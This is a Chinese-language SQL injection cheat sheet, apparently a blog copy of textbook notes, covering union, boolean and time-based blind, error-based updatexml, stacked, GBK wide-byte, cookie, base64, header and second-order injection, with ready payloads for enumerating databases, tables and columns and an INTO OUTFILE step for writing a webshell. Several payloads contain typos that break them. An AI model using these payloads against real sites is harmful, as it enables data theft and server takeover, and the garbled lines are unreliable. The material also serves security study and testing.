假设有URL为http://www.xxser.com/test.php?id=8
猜想有SQL语句
select * from table where id=8
1.末尾加'(单引号) 报错
2.末尾加and 1=1 无差异执行
3.末尾加and 1=2 报错
若满足以上条件则可能存在注入漏洞
一 select * from table where username = 'admin'
注意:
闭合单引号以及多余注释多余的代码注入方法,如:
输入admin'(闭合)and 1=1 --(注释后面的内容)
二 update person set password='password' where id=1
注入方法:在password处加入'(闭合第一个引号)+(select @@version)+'(闭合第二个引号)
三 Insert into users(username,password,title) values('username','password')
注意 数据库连接符SQL Sever “+”,Oracle “||”,MySQL “空格”
系统用户名 system_user()
用户名 user()
当前用户名 current_user
连接数据库的用户名 session_user()
MySQL数据库版本 version()
转成16进制或者是10进制MySQL读取本地文件的函数 load_file()
数据库名 database()
读取数据库路径@@datadir
MySQL安装路径@@basedir
操作系统@@version_compile_os
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iwIhZacN-1588212269321)(C:\Users\Amire0x\Pictures\SQL\28.png)]
# --空格 /**/
- 内联注释:/*!code*/用来执行SQL语句
1. 判断数字型注入漏洞,若成立则
2. 使用order by 1-99 查询数据表的字段数量
如order by 3 返回和id=1一样的页面结果,order by 4 返回不一样的结果。则字段数为3
3. 在数据库中查询ID参数对应的内容,然后将数据库的内容输出到页面,由于是将数据输出到页面的,在可以使用union注入
4. 在知道字段数为3的前提下,使用语句union select 1,2,3
可看到页面成功执行,由于代码只返回第一条结果,所以看不到union所获取的结果
则将id参数设置为-1,由于数据库中没有id=-1的数据,所以会返回union的结果
5. 看到返回结果的响应页面,假定下面返回的结果为2:3,则说明2或3的位置可以输入MySQL语句
---------------------------------------------------
6. 将2改为database(),查询数据库信息,假定数据库名为sql
7. 查询表名:(select table_name from information_schema.tables where table_name='sql' limit 0,1);需要加()
若要查第二个表名,则修改为limit 1,1 依次类推
8. 当所有表名查询完毕时,开始查询字段名,假定表名为email
(select column_name from information_schema.columns where table_schema='sql' and table_name='email' limit 0,1);加()
若要查询第二个字段名,则修改为limit 1,1 依次类推
----------------------------------------------------
一劳永逸
6. 将2改为group_concat(schema_name),可以爆出所有数据库名
7. 同理,改为group_concat(table_name)from information_schema.tables where table_schema ='***'可查表名
8. 同理,可查字段名
9. 爆内容:select *** from ***
条件:网页不返回错误
该注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获得数据库的数据
1 先判断数据库名的长度
' and length(database())>=1--+
单引号闭合,并且注释掉后面的语句,1的数字代表字段长度,可据此来判断
2 接着逐字符判断方式,不分大小写假定第一个字符为s
' and substr(database(),1,1)='s'--+
substr是截取的意思,从第一个字符开始每次只返回一个,该字符与limit有区别,它是以1开始排序
注意哦,这里还可以直接用burp爆破出来
也可已使用ASCII码查询,s的码为115,在MySQL的转换函数为ord
' and ord(substr(database(),1,1))=115--+
然后逐字符的查看,仅修改为2,1,依次类推
3 查询表名,字段名的语句也应该粘贴在database()的位置,也使用逐字符判断法,假定数据库名为sql,第一个表名是email
先查表名长度
' and length((select table_name from information_schema.tables where table_schema='sql' limit 0,1))>=某数字--+
然后再逐字符查
' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='e'--+
为提高速度可以用burp
4 查询字段名同理
条件:适用于会将报错信息输出到页面的上的网页
报错注入有多种格式,这里假定查user(),使用函数updatexml,0x7e是ASCII码 ~
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
然后是查当前数据库名
' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
获取数据库名,报错注入只显示一条结果,固采用limit语句
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
获取表名,假定获取的数据库名为infoemation_schema
' and updatexml(1,concat(0x7e,(select table_name from infoemation_schema.tables where table_schema='xxx' limit 0,1),0x7e),1)--+
获取字段名,假定表名为email
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='xxx' and table_name='xxx' )))
与boolean注入类似,都属于盲注
原理:利用函数sleep()让MySQL的执行时间变长
具体使用:
1 'and if (length(databsae())>1,sleep(5),1)--+
意思是若数据库名长于1,则查询时间休眠5秒,
否则查询1(大约只有几十毫秒),可根据burp中页面的响应时间来判断条件是否正确
2 查询数据库名的字符
if (substr(database()1,1)='s',sleep(5),1)
3 查询表名和字段名类似
同样和boolean注入类似,属于盲注
堆叠查询可以执行多条语句,多语句之间以分号隔开。
具体使用:
1 ';select if(substr(user()1,1)='x',sleep(5).1)%23
查询数据库库名,表名和字段名
2 ';select if(sustr((select table_name from information_schema.tables where table_schema = 'database()' limit 0,1)1,1)='x',sleep(5),1)%23
3 其余依次类推
适用于单引号被转义的情况,当数据库编码为GBK时
宽字节的格式是咋地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中%df%5c是繁体的连字,导致成功逃逸单引号
接着按照之前的各种方法继续查询
1 判断注入
id=1%df'and 1=1%23
id=1%df'and 1=2%23
2 查询数据段
id=1%df'order by xx%23假定最终字段数为3
3 查询数据库名
id=1%df'union select 1,database(),3%23
4 查询表名
原语句:select table_name from information_schema.tables where table_name = 'xxx' limit0,1
但是单引号被转义,所以会报错
所以使用嵌套查询
select table_name from information_schema.tables where table_schema =(select database()) limit 0,1
其余表名请修改limit的数字
5 查询字段名 同理
select cloumn_name from information_schema.cloumns where table_schema = (select database()) and table_name = (select table_name from information_schema.tables where table_schema = (select database()) limit 0,1)limit 0,1
适用于cookie中带有类似于id参数
方法是直接burp抓包,然后修改cookie里的值,在cookie里面拼接sql语句,可使用union注入等
适用于参数经过了base64编码,
方法就是将需要查询的sql语句编码为base64再代入即可
在HTTP请求头中有X-Forwarded-For代表真实的IP,可以通过修改其值来伪造客户端IP
方法可以吧IP改为127.0.0.1 然后可以使用sql语句进行注入攻击
如PHP在开启magic_quotes_gpc后会对特殊字符转义,如把'变为\',
如下列语句
$sql = "insert into message(id,title,content) values (1,'$title','secbug.org')"
现在通过网站插入数据title为secbug'
转义后为secbug\'
但是在数据库中却为secbug'
于是可以通过另一种查询
select id,title,content from message where title='$title'
将第一次插入的title改为' union select 1,@@version 3 --
则又成功注入
Select ***(可以为其他文件,如一句话) into out file "C:\\***\\***"
Into outfile "C:\\***\\***\\text.php" lines terminated by 0x16
URL:http://www.secbug.org/news.jsp?id=1
程序代码:int id = Integer.parseInt(request.getParameter("id");
// 接收参数并转换为int类型
News news = newDao.findNewsById(id);